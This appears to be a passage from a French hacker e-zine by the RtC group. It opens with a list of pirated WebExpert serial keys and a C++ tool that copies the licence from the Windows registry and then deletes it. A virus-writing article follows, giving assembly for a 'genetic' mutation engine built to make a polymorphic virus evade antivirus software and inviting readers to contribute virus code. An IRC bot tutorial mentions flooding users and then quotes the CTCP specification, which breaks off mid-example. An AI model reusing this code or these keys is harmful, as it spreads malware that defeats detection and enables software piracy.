i QGVJ-JPNF-HXYZ-ZZZZ
j BUQV-K7CE-WR2Z-ZZZZ
k PDRS-ZSMC-A8UZ-ZZZZ
l ZBKW-KYBD-5FAZ-ZZZZ
m B4M3-XSCD-FYMZ-ZZZZ
n P9V2-PNLJ-TR2Z-ZZZZ
o HTLG-NXSL-CTKZ-ZZZZ
p VNBN-R4CT-AUYZ-ZZZZ
q R9U2-LLAE-VEQZ-ZZZZ
r JAVT-LEYA-KRCZ-ZZZZ
s FQRB-8MI2-YVCZ-ZZZZ
t VL3R-SCBD-YZKZ-ZZZZ
u VH4C-7WLS-RCCZ-ZZZZ
v NNC6-E6GM-QVAZ-ZZZZ
w M8JS-VTNJ-C2EZ-ZZZZ
x 5NVS-HLRK-KZ6Z-ZZZZ
y VUVB-TC7S-A2AZ-ZZZZ
z JB5K-SGHH-SHAZ-ZZZZ
RtC 2VNH-YGRN-QRSZ-ZZZZ
ab DG9W-XWL2-VCCZ-ZZZZ
Visic BNWD-CRUU-N7UZ-ZZZZ
Visicom SFYC-8UKK-FIHZ-ZZZZ
Visicom Média HRTW-Z9EV-AZZW-MNBR
WebExpert YHLW-TEEL-BCJQ-CN6F
abcdefghijklmnopqrstuvwxyz0123456789/\. PFRM-Q8XW-ZVEK-C8Q6
abcdefghijklmnopqrstuvwxyz0123456789/\ PFRM-Q8XW-ZVEK-C8Q6
abcdefghijklmnopqrstuvwxyz0123456 PFRM-Q8XW-ZVEK-C8Q6
abcdefghijklmnopqrstuvwxyz PFRM-Q8XW-ZVEK-C8Q6
abcdefghijklmnopqrst PFRM-Q8XW-ZVEK-C8Q6
abcdefghijklmno PFRM-Q8XW-ZVER-DHPT
abcdefghijklmnop PFRM-Q8XW-ZVEK-C8Q6
Ce que nous apprends ces clefs :
* Case insensitive pour les clefs ou les noms.
* Non utilisation des O, 0 et 1 pour les clefs
* 16 premiers caractères utilisés (dernières clefs)
* Utilisations des caractères dans l'ordre (Z-ZZZZ qui
finissent les clefs associée à des noms cours).
* Clef sans doute initialisé à ZZZZ-ZZZZ-ZZZZ-ZZZZ
Si vous faite d'autres clef, envoyez-les moi.
C'est tout. Le code du dumper de clef (sert à récupérée la
clef dans la registry et à l'effacer)
<-- begin we4kdump.cpp -->
/******************************************************************************
* we4kdump.cpp : WebExpert 2000 Key Dump *
* Author : S/asH (member of RtC) *
* for use under Borland C++ 5 (must work under other win32 compilators) *
* You can freely distribute this software but I decline all responsability *
* for the use of this software. *
* RtC TecH - July 2000 *
******************************************************************************/
#include <stdio.h>
#include <conio.h>
#include <string.h>
#include <windows.h>
#include <winbase.h>
/* Constants */
#define WEXPERT4_REGKEY "SOFTWARE\\Visicom Media\\WebExpert v4\\WebExpert"
#define WEXPERT4_KEYNAME "Format"
#define WEXPERT4_USERKNAME "Usager"
#define CANT_OPENFILE "Cannot open output file %s !\n"
#define CANT_READVALUE "Cannot dump WebExpert 4 key.\n"
#define PROMPT_BEFOREDUMP "Ready to dump..."
#define PROMPT_DUMP "Another dump (y/n) ? "
#define VERSTR "/------------------------------------------------------------------------------\\\n"\
"| we4kdump : WebExpert 2000 key Dump |\n"\
"| Author : S/asH (member of RtC). RtC TecH - July 2000 |\n"\
"| You can freely distribute this software but I decline all responsability for |\n"\
"| the use of this software. |\n"\
"\\------------------------------------------------------------------------------/\n"
#define SYNTAXSTR "Syntax is : we4kdump [-e] file\n"\
" file is the filename to dump\n"\
" -e is for getting no echo\n"
/******************************************************************************
* Function valuedump : dump a registry binary value into a string *
* Input : rootKey : the root key in the registry *
* key : the key where find value *
* value : value to dump *
* Output : return : value dumped (null if error) *
******************************************************************************/
char *valuedump(HKEY rootKey, LPSTR key, LPSTR value)
{
DWORD Type; HKEY hKey; char *res; unsigned long i;
if(RegOpenKeyEx(rootKey, key, 0, KEY_ALL_ACCESS, &hKey)!=ERROR_SUCCESS)
return NULL;
res = new char[65535]; i = 65535;
if(RegQueryValueEx(hKey, value, NULL, &Type, (LPBYTE)res, &i)!=ERROR_SUCCESS)
{
delete res;
return NULL;
}
if(Type!=REG_BINARY)
{
delete res;
return NULL;
}
RegCloseKey(hKey);
res[i] = 0;
return res;
}
/******************************************************************************
* Function main *
* Input : argc : the arguments counter *
* argv : the arguments vector *
******************************************************************************/
void main(int argc, char *argv[])
{
FILE *fout;
printf(VERSTR);
char c = 'y';
char *key, *name;
if((argc<2) || (argc>3))
{
printf(SYNTAXSTR);
return;
}
if((argc==3) && strcmp(argv[1],"-e"))
{
printf(SYNTAXSTR);
return;
}
if((fout = fopen(argv[argc-1], "a"))==NULL)
{
printf(CANT_OPENFILE, argv[argc-1]);
return;
}
while((c=='y') || (c=='Y'))
{
printf(PROMPT_BEFOREDUMP);
getch();
printf("\n");
key = valuedump(HKEY_LOCAL_MACHINE, WEXPERT4_REGKEY, WEXPERT4_KEYNAME);
name = valuedump(HKEY_LOCAL_MACHINE, WEXPERT4_REGKEY, WEXPERT4_USERKNAME);
if((!key) || (!name))
printf(CANT_READVALUE);
else
{
RegDeleteKey(HKEY_LOCAL_MACHINE, WEXPERT4_REGKEY);
fprintf(fout, "%s\t%s\n", name, key);
if(argc==2) printf("%s\t%s\n", name, key);
}
if(key) delete key;
if(name) delete name;
printf(PROMPT_DUMP);
c=getch();
printf("\n");
}
fclose(fout);
}
<-- end we4kdump.cpp -->
<-- File by S/asH -->
[EOF]
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Projet K-os : Comment améliorer un virus polymorphe, Genetical K-os
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
I) Houston...
==============
Certains se disent peut-être qu'ils manquent une étape : ils ont raisons. Je ne vais pas essayer de jouer les boss, je préfère être franche, il faut savoir rester humble et assumer mes erreurs (certains ferait bien d'en faire autant). Je vais m'expliquer. Le virus polymorphe que j'ai annoncé il y a assez longtemps est implémenté (depuis un petit bout de temps déjà) mais il contient une erreur que je n'arrive pas à localiser. Ce n'est pas faute d'avoir essayé (pas moins de 30 heures cumulées passées à débugger), mais l'erreur subsiste... Si certains sont intéressés, il peuvent me contacter par l'intermédiaire du projet K-os ou compiler le moteur qui se trouve avec le RTC mAg 4. En attendant, j'ai écrit quand même, pour les plus impatients, l'article qui aurait dû suivre. Il s'agit d'améliorer un virus polymorphe en le rendant évolutionniste (on dit aussi génétique).
II) Le polymorphisme
=====================
Je vais faire un bref rappel de ce qu'est le polymorphisme ; pour plus de détails, je vous conseille l'article de Dark Angel dans Datut006. Le polymorphisme consiste à donner au virus une apparence différente à chaque réplication de sorte que le scan soit totalement inutile face à ce type de virus. Pour cela, on crypte d'abord le corps du virus de manière très simple (avec une clé xor). Puis on fabrique une routine de décryptage au hasard que l'on place au début. Pourquoi la fabrique-t-on ? Pour que le virus n'ait absolument rien qui soit identique à chaque fois. Comment la fabrique-t-on ? C'est là que réside toute la subtilité du polymorphisme. On insère entre les instructions qui décrypte le virus d'autres instructions qui n'ont aucun effet (comme 'nop' ou 'or ax,ax'). C'est ce générateur de code qui détermine en fait la puissance d'un moteur de polymorphisme. Il y a un autre point essentiel à comprendre : c'est que toutes les décisions qui sont prises viennent d'un générateur de nombres aléatoires (par décision, on entend aussi bien choix de la clé de cryptage que choix de l'instruction à insérer, etc.). Et c'est sur ce point que nous allons améliorer le virus polymorphe.
III) Un virus génétique
========================
En effet, avec un générateur de nombres aléatoires simple (c'est à dire sur 16 bits avec une récurrence linéaire d'ordre 1), on ne peut obtenir que 65536 boucles de décryptage (parce que dès que le premier nombre est choisi, les suivant sont entièrement déterminés), ce qui limite notre moteur. Pour cela, on va procéder différemment. On va créer un tableau de nombres que l'on appelle gène, et que l'on rempli grâce à notre générateur de nombres aléatoires. Au lieu d'appeler notre générateur de nombres, on va appeler une autre routine qui prend les nombres dans le tableau consécutivement. Jusque là, rien de bien nouveau. Sinon qu'avec un gène qui ne change pas, on construit toujours le même virus. On va donc faire une autre routine Mutate qui est chargé de modifier un peu ce gène. Le virus va changer un peu et c'est le but. En effet, certains antivirus savent reconnaître les virus polymorphes. Or il suffit qu'un seul virus génétique échappent à l'antivirus et celui-ci va automatiquement infecter tout le reste de l'ordinateur. Pourquoi ? Parce que les nouvelles générations de virus seront très peu différentes de celle qui n'a pas été reconnu. Bingo ! Notre virus, sous la pression de l'antivirus va pouvoir évoluer et s'immuniser contre cet antivirus. De plus, un gène offre beaucoup plus de possibilités de boucles de décryptage qu'un simple générateur ; par exemple, un gène de 100 octets offre potentiellement 256^100 c'est à dire environ 10^241 possibilités (c'est largement plus que le nombre d'atomes dans l'univers qui est environ 10^80) ; on est très loin de 65536. On a ainsi décupler la puissance d'un virus polymorphe. On voit bien que les seuls changements à faire sont au niveau du générateur de nombres aléatoires.
IV) Le code
============
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TT
GGGGGG EEEEEE NN NN EEEEEE TT IIIIII CCCCCC AAAAAA LL
GGGGGG EEEEEE NN NN EEEEEE TT IIIIII CCCCCC AAAAAA LL
GG EE NNNN NN EE TT II CC AA AA LL
GG EE NNNN NN EE TT II CC AA AA LL
GG GG EEEE NN NNNN EEEE TT II CC AAAAAAAA LL
GG GG EEEE NN NNNN EEEE TT II CC AAAAAAAA LL
GGGGGGGG EEEEEEEE NN NN EEEEEEEE TT IIIIII CCCCCCCC AA AA LLLLLLLL
GGGGGGGG EEEEEEEE NN NN EEEEEEEE TT IIIIII CCCCCCCC AA AA LLLLLLLL
KK KKKK OOOOOO SSSSSS
KK KKKK OOOOOO SSSSSS
KKKK OO OO SSSS
KKKK OO OO SSSS
KK KK #### OO OO SS
KK KK #### OO OO SS
KK KK OOOOOOOO SSSSSSSS
KK KK OOOOOOOO SSSSSSSS
Je vais donc donner le code de toute la partie qui remplace le générateur de nombres aléatoires. Il faut bien entendu garder le générateur de nombres aléatoires.
--------------------------------CUT HERE--------------------------------
;<<<<<Routines Génétiques>>>>>
;
;
;--- Get_Random ---
;la routine Get_Random s'utilisent de façon analogue i.e.
;#entrée :
; ax=plafond max
;#sortie :
; ax=nombre aléatoire compris entre 0 et (plafond max-1)
;
Get_Random:
push bx
push cx
push dx
push bp
call Get_Add1
Get_Add1:
pop bp
sub bp,offset Get_Add1
push ax
mov bx,[bp + Gene_ptr] ;on met le pointeur dans bx
mov ax,[bx] ;ax contient le nouveau nombre
add word ptr [bp + Gene_ptr],2 ;on incrémente le pointeur
mov bx,offset Gene
add bx,bp
cmp word ptr [bp + Gene_ptr],bx + 200 ;est-il à la fin du gène ?
jne End_Rand ;non, on continue
mov word ptr [bp + Gene_ptr],bx ;oui, on le remet au début
End_Rand:
pop cx ;on fait le mod
xor dx,dx
div cx
mov ax,dx ;voilà, la bonne valeur est dans ax
pop bp
pop dx
pop cx
pop bx
ret ;on renvoie tout ça
;--- Init_Gene ---
;Cette routine est appelée par le virus, elle sert uniquement à initialiser
;le gène. On ne doit l'appeler qu'une seule fois pour la première génération de virus.
;#entrée
; aucune
;#sortie
; le gène est prêt
;
Init_Gene:
push es
push di
push ds
push si
push cx
push ax
push bp
call Get_Add2
Get_Add2:
pop bp
sub bp,offset Get_Add2
xor ax,ax
mov ds,ax
mov si,046Ch
lodsw
mov word ptr [bp + Rand_Seed],ax ;on initialise le GNPA
push cs
pop es
mov di,offset Gene
add di,bp
mov cx,200
Gene_Loop:
mov ax,0FFFFh
call Get_Rand
stosb ;on rempli le gène avec al
loop Gene_Loop
mov ax,offset Gene
add ax,bp
mov word ptr [bp + Gene_ptr],ax ;on initialise le pointeur
End_init:
pop bp
pop ax
pop cx
pop si
pop ds
pop di
pop es
ret
;--- Mutate ---
;C'est cette routine qui va changer le gène. On doit l'appeler de temps en temps.
;#entrée
; aucune
;#sortie
; le gène est modifié
;
Mutate:
push cx
push ax
push bp
call Get_Add3
Get_Add3:
pop bp
sub bp,offset Get_Add3
mov ax,20
call Get_Rand ;on modifie 20 octets au maximum
mov cx,ax
Mutate_Loop:
push bp
mov ax,200
call Get_Rand ;où ?
add bp,ax
mov ax,0FFFFh
call Get_Rand ;quoi ?
mov [bp + Gene],al
pop bp
loop Mutate_Loop
pop bp
pop ax
pop cx
ret
;--- Linear Congruential Pseudo-Random Number Generator ---
;le GNPA classique...
;X(n+1) = (A * X(n) + C) mod M
;#entrée:
; aucune
;#sortie:
; ax=nombre généré
Get_Rand:
push cx
push dx
mov ax,[bp + Rand_Seed]
mov cx,A
mul cx
add ax,C
adc dx,0
mov cx,M
div cx
mov ax,dx
mov [bp + Rand_Seed],ax
pop dx
pop cx
ret
M equ 43691
A equ 13
C equ 14449
Rand_Seed dw ?
Gene_ptr dw ?
Gene db 200 dup (?)
--------------------------------CUT HERE--------------------------------
V) Les suites du Projet K-os
=============================
Le projet K-os est un projet ouvert, donc, si vous voulez participez au Projet K-os, vous pouvez. Je rappelle que le Projet K-os a pour but de construire un super virus. Toutes les voies sont ouvertes (virus boot, infecteur d'exe, résidant...), vous pouvez vous laissez aller à imaginer n'importe quoi. Même si vous êtes un newbie, n'hésitez pas, même si vous ne faites qu'une simple routine. Je publierai toutes les sources de virus qui me seront envoyées, accompagnées du nom de leurs auteurs bien évidemment. La seule chose que je vous demande, c'est de commenter vos virus un minimum dans un langage clair et pa kom ssa.
Vous pourrez voir toutes les évolutions dans la partie consacrée au projet K-os sur le site du g4ng RTC. En attendant vos virus... :-)
K-os will survive...
We have no ID, call us g4ng RTC.
By Androgyne
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
IRC BOT PART II
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Dans cette nouvelle version du bot irc. Nous le traiteront en C++ de facon
objet : c'est un moyen pratique de gerer le bot. De plus le traitement objet
nous permettera de passer d'une version à l'autre plus facilement.
Je vais, pour l'instant, continuer le descriptif des commandes. (elles sont
lister dans le fichier constant.hpp) :
* NOTICE : pareille que PRIVMSG mais on recoit pas de renvoie du serveur
(pratique pour flooder qq1)
* QUIT [:<msg>] : quitte le serveur avec le message msg
* PART <chan>[,<chan>...] : quitte un ou plusieurs channels
* MODE <user> {[+-]i|w|s|o} : change les mode d'un user
i : mettre un utilisateur invisible (on voit plus ce qu'il
raconte)
w : wallops : recoit les messages destine a tout les ops
s : recoit les messages notice du serveur
o : se met (ou met qq1) irc op (en pratique seul le serveur ou
les ircs op peuvent le faire)
* MODE <chan> {[+-]o|p|s|i|t|n|m|l|b|v|k} [<limit>] [<user>] [<ban mask>] :
change les mode du chan. je ne vait expliquer ici que les modes
interessants.
o : droit chanop pour l'user
k : met un pass au chan
v : donne le droit voice a qq1 (c mesquin de le filer a qq1 :
ca donne aucun droit en part)
i : fait que le chan est invite only
b : sert a bannir qq1 du chan (un ex-chanop par ex (genre bot))
* KICK <chan> <user> [:<msg>] : vire user de chan pour la raison msg
Bon c'est finit pour les commandes irc clasiques (allez voir la rfc si besoin :
a noter que la rfc 1459 sur l'irc est presente en version francaise dans le
hackoff 17 du Serial Savate System).
On commence plus interressant : les commandes CTCP (Client To Client Protocol).
Le CTCP permet d'envoyer differentes commandes a un client IRC d'un autre client
IRC (par exemple un PING). Pratiquement cela sert a tester si un utilisateur est
la en le pinguant (pratique pour voir si qq1 a deconnecter quand on est un bot).
Cela peut aussi servir a se renseigner sur la cible (eh eh).
Bon voila le texte qui explique le quoting CTCP :
<-- begin CTCP.paper -->
I sent this last week but several people didn't get it, so I'll send
it again.
This is a try at formalizing the client to client protocol (CTCP) for
IRC clients.
I started doing it in the fall but after a while found I had not
enough time / enthuiasm for it. A few things have been added since.
Some things are explained in a strsnge way, no doubt. I'm not a native
english speaker.
I guess this at least is a start.
-----------------------------------------------------------------------------
sojge@docs.uu.se Sun Oct 27 17:27:59 1991 -*-Text-*-
The client-to-client protocol (CTCP) *13*
This client-to-client protocol is meant to be used as a way to
1/ in general send structered data (such as graphics,
voice and different font information) between users
clients, and in a more specific case
2/ place a query to a users client and getting an answer.
As of now, only a simple text encryption scheme is implemented in
category 1, and a few query/reply pairs in category 2. This paper will
concentrate on the latter category.
*****************************************
BASIC PROTOCOL BETWEEN CLIENTS AND SERVER
*****************************************
Characters between client and server are 8 bit bytes (also known as
octets) and can have nummeric values from octal 0 up to 0377 inclusive
(0 up to 255 decimal). Some characters are special.
CHARS ::= '\000' .. '\377'
NUL ::= '\000'
NL ::= '\n'
CR ::= '\r'
A line sent to a server, or received from a server (here called "low
level messages") consist or zero or more octets (expcept NUL, NL or
CR) with either a NL or CR appended.
L-CHARS ::= '\001' .. '\011' | '\013' | '\014' |
'\016' .. '\377'
L-LINE ::= L-CHARS* CR LF
A NUL is never sent over to the server.
*****************
LOW LEVEL QUOTING
*****************
As messages to and from servers can't contain NUL, NL and CR, but it
still might be desirable to send ANY character (in so called "middle
level messages") between clients, those three characters have to be
quoted. Therefor a quote character is needed. Of course, the quote
character itself has to be quoted too.
M-QUOTE ::= '\020'
(Ie a CNTRL/P).
When sending a middle level message, if finding a character being one
of NUL, NL, CR or M-QUOTE, that character is replaced by a two
character sequence according to the following table.
NUL --> M-QUOTE '0'
NL --> M-QUOTE 'n'
CR --> M-QUOTE 'r'
M-QUOTE --> M-QUOTE M-QUOTE
When receiving a low level message, and seeing a M-QUOTE, look at the
next character, and replace those two according to the following table
to get the corresponding middle level message.
M-QUOTE '0' --> NUL
M-QUOTE 'n' --> NL
M-QUOTE 'r' --> CR
M-QUOTE M-QUOTE --> M-QUOTE
If the character following M-QUOTE isn't any of the listed characters,
that is an error, so drop the M-QUOTE character from the message,
optionally warning the user about it. Ie, a string 'x' M-QUOTE 'y' 'z'
from a server dequotes into 'x 'y' 'z'.
Before low level quoting, a message to the server (and in the opposite
direction: after low level dequoting, a message from the server) looks
like
M-LINE ::= CHARS*
***********
TAGGED DATA
***********
To send both extended data and query/reply pairs between clients, an
extended data format is needed. The extended data are sent in the text
part of a middle level message (and efter low level quoting of course
also in the text part of the low level message).
To send extended data inside the text, we need some way to delimit it.
This is done by starting and ending extended data with a delimiter
character.
X-DELIM ::= '\001'
As both the starting and ending delimiter looks the same, every second
X-DELIM is called the odd, and every second the even delimiter. The
first one in a message is odd.
When having being quoted (and conversly, before having been dequoted)
any number of characters of any kind except X-DELIM can be used in the
extended data, ie inside the X-DELIM pair.
X-CHR ::= '\000' | '\002' .. '\377'
An extended message is either empty (ie nothing between the odd and
even delimiter), has one or more non-space characters (ie any
character but '\040') or has one or more non-space characters followed
by a space followed by zero or more characters.
X-N-AS ::= '\000' | '\002' .. '\037' | '\041' .. '\377'
SPC ::= '\040'
X-MSG ::= | X-N-AS+ | X-N-AS+ SPC X-CHR*
The first characters up until the first SPC (or if no SPC, all of the
X-MSG) is called the tag of the extended message. The tag is used to
know what kind of extended data is used.
The tag can be *any* strings of characters and if the happen to be
letters, they are case sensitive, so upper and lower case matters.
Extended data is only valid in PRIVMSG and NOTICE commands. If the
extended data is a reply to a query, it is sent in a NOTICE, else it
is sent in a PRIVMSG. Both PRIVMSG and NOTICE to a user and to a
channel may contain extended data.
The text part of a PRIVMSG or NOTICE might contain zero or more
extended messages, intermixed with zero or more chunks of non-extended
data.
******************
CTCP LEVEL QUOTING
******************
In order to be able to send the delimiter X-DELIM inside an extended
data message, it has to be quoted. This introduces another quote
character (which should differ from the low level quote character so
it won't have to be quoted yet again).
X-QUOTE ::= '\134'
(Ie a back slash).
When quoting on the CTCP level, only actual CTCP message (ie extended
data, queries, replies) are quoted. This enables users to actually
send X-QUOTE characters at will. The following translations should be
used
X-DELIM --> X-QUOTE 'a'
X-QUOTE --> X-QUOTE X-QUOTE
and when dequoting on the CTCP level, only CTCP messages are dequoted
whereby the following table is used.
X-QUOTE 'a' --> X-DELIM
X-QUOTE X-QUOTE --> X-QUOTE
If a X-QUOTE is seen with another the character following it than the
ones above, that's an error and the X-QUOTE character should be
dropped. Ie the CTCP-quoted string 'x' X-QUOTE 'y' 'z' becomes after
dequoting the three character string 'x' 'y' 'z'.
If a X-DELIM is found outside a CTCP message, the message will contain
the X-DELIM. (This should only happen with the last X-DELIM when there
are an odd number of X-DELIM's in a middle level message.
***************
QUTING EXAMPLES
***************
There are basically three levels of messages. The highest level (H) is
the text on the user-to-client level. The middle layer (M) is on the
level where CTCP quoting has been applied to the H-level message. The
lowest level (L) is on the client-to-server level, where low level
quoting has been applied to the M-level message.
The following relations are true, with lowQuote(message) being a
function doing the low level quoting, lowDequote(message) the low
level dequoting, ctcpQuote(message) the CTCP level quoting,
ctcpDequote(message) the CTCP level dequoting, and
ctcpExtract(message) the removing of all CTCP messages from a message.
The operator || denotes string concatenation.
L = lowQuote(M)
M = ctcpDequote(L)
M = ctcpQuote(H)
H = ctcpDequote(ctcpExtract(M))
When sending CTCP message imbedded in normal text
M = ctcpQuote(H1) || '\001' || ctcpQuote(X) || '\001' || ctcpQuote(H2)
Of course, there might be zero or more normal text messages and zero
or more CTCP messages mixed.
--- Example 1 -----------------------------------------------------------------
A user (called actor) wanting to send the string
Hi there!\nHow are you?
to user victim, ie a message where the user has entered an inline
newline (how this is done, if at all, differs from client to client),
will result internaly in the client in the command
PRIVMSG victim :Hi there!\nHow are you? \K?
which will be CTCP quoted into
PRIVMSG victim :Hi there!\nHow are you? \\K?
which in turn will be low level quoted into
PRIVMSG victim :Hi there!\020nHow are you? \\K?
and sent to the server after appending a newline at the end.
This will arrive on victim's side as
:actor PRIVMSG victim :Hi there!\020nHow are you? \\K?
(where the \\K would look similar to OK in SIS D47 et al) which after
low level dequoting becomes
:actor PRIVMSG victim :Hi there!\nHow are you? \\K?
and after CTCP dequoting
:actom PRIVMSG victim :Hi there!\nHow are you? \K?
How this is displayed differs from client to client, but it suggested
that a line break should occour between the words "there" and "How".
--- Example 2 -----------------------------------------------------------------
If actor's client wants to send the string "Emacs wins" this might
become the string "\n\t\big\020\001\000\\:" when being
SED-encrypted using some key, so the client starts by CTCP-quoting
this string into the string "\n\t\big\020\\a\000\\\\:" and
builds the M-level command
PRIVMSG victim :\001SED \n\t\big\020\\a\000\\\\:\001
which after low level quoting becomes
PRIVMSG victim :\001SED \020n\t\big\020\020\\a\0200\\\\:\001
which will be sent to the server, with a newline tacked on.
On victim's side, the string
:actor PRIVMSG victim :\001SED \020n\t\big\020\020\\a\0200\\\\:\001
will be received from the server and low level dequoted into
:actor PRIVMSG victim :\001SED \n\t\big\020\\a\000\\\\:\001
whereafter the string "\n\t\big\020\\a\000\\\\:" will be extracted
and first CTCP dequoted into "\n\t\big\020\001\000\\:" and then
SED decoded getting back "Emacs wins" when using the same key.
--- Example 3 -----------------------------------------------------------------
If the user actor want's to query the USERINFO of user victim, and is
in the middle of a conversation, the client may decide to tack on
USERINFO request on a normal text message. Then the client wants to
send the textmessage "Say hi to Ron\n\t/actor" and the CTCP request
"USERINFO" to victim.
PRIVMSG victim :Say hi to Ron\n\t/actor
plus
USERINFO
which after CTCP quoting become
PRIVMSG victim :Say hi to Ron\n\t/actor
plus
USERINFO
which gets merged into
PRIVMSG victim :Say hi to Ron\n\t/actor\001USERINFO\001
and after low level quoting
PRIVMSG victim :Say hi to Ron\020n\t/actor\001USERINFO\001
and sent off to the server.
On victim's side, the message
:actor PRIVMSG victim :Say hi to Ron\020n\t/actor\001USERINFO\001
arrives. This gets low level dequoted into
:actor PRIVMSG victim :Say hi to Ron\n\t/actor\001USERINFO\001
and thereafter split up into
:actor PRIVMSG victim :Say hi to Ron\n\t/actor
plus
USERINFO
After CTCP dequoting both, the message
:actor PRiVMSG victim :Say hi to Ron\n\t/actor
gets displayed, while the CTCP command
USERINFO
gets replied to. The reply might be
USERINFO :CS student\n\001test\001
which gets CTCP quoted into
USERINFO :CS student\n\\atest\\a
and sent in a NOTICE as it is a reply:
NOTICE actor :\001USERINFO :CS student\n\\atest\\a\001
and low level quoted into
NOTICE actor :\001USERINFO :CS student\020n\\atest\\a\001
after which is it sent to victim's server.
When arriving on actor's side, the message
:victim NOTICE actor :\001USERINFO :CS student\020n\\atest\\a\001
gets low level dequoted into
:victim NOTICE actor :\001USERINFO :CS student\n\\atest\\a\001
At this point, all CTCP replies get extracted, giving 1 CTCP reply and
no normal NOTICE
USERINFO :CS student\n\\atest\\a
The remaining reply gets CTCP dequoted into
USERINFO :CS student\n\001test\001
and presumly displayed to user actor.
*******************
KNOWN EXTENDED DATA
*******************
<To be written by msa? Should include something about X-DELIM X-DELIM,
ie CTCP message with empty tag, should translate into just X-DELIM in
message.>
*************************
KNOWN REQUEST/REPLY PAIRS
*************************
A request/reply pair is sent between the two clients in two phases.
The first phase is to send the request. This is done with a "privmsg"
command (either to a nick or to a channel -- it doesn't matter).
The second phase is to send a reply. This is done with a "notice"
command.
The known request/reply pairs are for the following commands.
CLIENTINFO - Dynamic master index of what a client knows
ERRMSG - Used when an error needs to be replied with
FINGER - Mainly used to get a users idle time
USERINFO - A string set by the user (never client coder)
VERSION - The version and type of the client
FINGER
This is used to get some data stored locally at a users system about
the user and also the idle time of the user. The request is in a
"privmsg" and looks like
\001FINGER\001
while the reply is in a "notice" and looks like
\001FINGER :#\001
where the # denotes contains information about the users real name,
login name at clientmachine and idle time and is of type X-N-AS.
VERSION
This is used to get information about the name of the other client and
the version of it. The request in a "privmsg" is simply
\001VERSION\001
and the reply
\001VERSION #:#:#\001
where the first # denotes the name of the client, the second # denotes
the version of the client, the third # the enviroment the client is
running in.
Using
X-N-CLN ::= '\000' .. '\071' | '\073' .. '\377'
the client name is a string of type X-N-CLN saying things like "Kiwi"
or "ircII", the version saying things like "5.2" or "2.1.5c", the
enviroment saying things like "GNU Emacs 18.57.19 under SunOS 4.1.1 on
Sun SLC" or "Compiled with gcc -ansi under Ultrix 4.0 on VAX-11/730".
SOURCE
This is used to get information about where to get a copy of the
client. The request in a "privmsg" is simply
\001SOURCE\001
and the reply is zero or more CTCP replies of the form
\001SOURCE #:#:#\001
followed by an end marker
\001SOURCE\001
where the first # is the name of an Internet host where the client can
be gotten from with anonymous FTP the second # a directory names, and
the third # a space separated list of files to be gotten from that
directory.
Using
X-N-SPC ::= '\000' .. '\037' | '\041' .. '\377'
the name of the FTP site is to be given by name like "cs.bu.edu" or
"funic.funet.fi".
The file name field is a directory specification optionally followed
by one or more file names, delimited by spaces. If only a directory
name is given, all files in that directory should be copied when
retrieving the clients source. If some files are given, only those
files in that directpry should be copied. Note that the spcification
allows for all characters but space in the names, this includes
allowing :. Examples are "pub/emacs/irc/" to get all files in
directory pub/emacs/irc/, the client should be able to first login as
user "ftp" and the give the command "CD pub/emacs/irc/", followed by
the command "mget *". (It of course has to take care of binary and
prompt mode too). Another example is "/pub/irc Kiwi.5.2.el.Z" in which
case a "CD /pub/irc" and "get Kiwi.5.2.el.Z" is what should be done.
USERINFO
This is used to transmit a string which is settable by the user (and
never should be set by the client). The query is simply
\001USERINFO\001
with the reply
\001USERINFO :#\001
where the # is the value of the string the client's user has set.
CLIENTINFO
This is for client developers use to make it easier to show other
client hackers what a certain client knows when it comes to CTCP. The
replies should be fairly verbose explaining what CTCP commands are
understood, what arguments are expected of what type, and what replies
might be expected from the client.
The query is the word CLIENTINFO in a "privmsg" optionally followed by
a colon and one or more specifying words delimited by spaces, where
the word CLIENTINFO by itself,
\001CLIENTINFO\001
should be replied to by giving a list of known tags (see above in
section TAGGED DATA). This is only intended to be read by humans.
With one argument, the reply should be a description of how to use
that tag. With two arguments, a description of how to use that
tag's subcommand. And so on.
ERRMSG
This is used as a reply whenever an unknown query is seen. Also, when
used as a query, the reply should echo back the text in the query,
together with an indication that no error has happened. Should the
query form be used, it is
\001ERRMSG #\001
where # is a string containing any character, with the reply
\001ERRMSG # :#\001
where the first # is the same string as in the query and the second #
a short text notifying the user that no error has occurred.
A normal ERRMSG reply which is sent when a corrupted query or some
corrupted extended data is received, looks like
\001ERRMSG # :#\001
where the first # is the the failed query or corrupted extended data
and the second # a text explaining what the problem is, like "unknown
query" or "failed decrypting text".
********
EXAMPLES
********
Sending
PRIVMSG victim :\001FINGER\001
might return
:victim NOTICE actor :\001FINGER :Please check my USERINFO
instead :Klaus Zeuge (sojge@mizar) 1 second has passed since
victim gave a command last.\001
(this is only one line) or why not
:victim NOTICE actor :\001FINGER :Please check my USERINFO
instead :Klaus Zeuge (sojge@mizar) 427 seconds (7 minutes and
7 seconds) have passed since victim gave a command last.\001
if Klaus Zeuge happens to be lazy? :-)
Sending
PRIVMSG victim :CLIENTINFO
might return
:victim NOTICE actor :CLIENTINFO :You can request help of the
commands CLIENTINFO ERRMSG FINGER USERINFO VERSION by giving
an argument to CLIENTINFO.
Sending
PRIVMSG victim :CLIENTINFO CLIENTINFO
might return
:victim NOTICE actor :CLIENTINFO :CLIENTINFO with 0
arguments gives a list of known client query keywords. With 1
argument, a description of the client query keyword is
returned.
while sending
PRIVMSG victim :clientinfo clientinfo
probaly will return something like
:victim NOTICE actor :ERRMSG clientinfo clientinfo :Query is
unknown
as tag "clientinfo" isn't known.
Sending
PRIVMSG victim :CLIENTINFO ERRMSG
might return
:victim NOTICE actor :CLIENTINFO :ERRMSG is the given answer
on seeing an unknown keyword. When seeing the keyword ERRMSG,
it works like an echo.
Sending
PRIVMSG victim :\001USERINFO\001
might return the somewhat pathetically long
:victim NOTICE actor :USERINFO :I'm studying computer
science in Uppsala, I'm male (somehow, that seems to be an
important matter on IRC:-) and I speak fluent swedish, decent
german, and some english.
Sending
PRIVMSG victim :\001VERSION\001
might return
:victim NOTICE actor :\001VERSION Kiwi:5.2:GNU Emacs
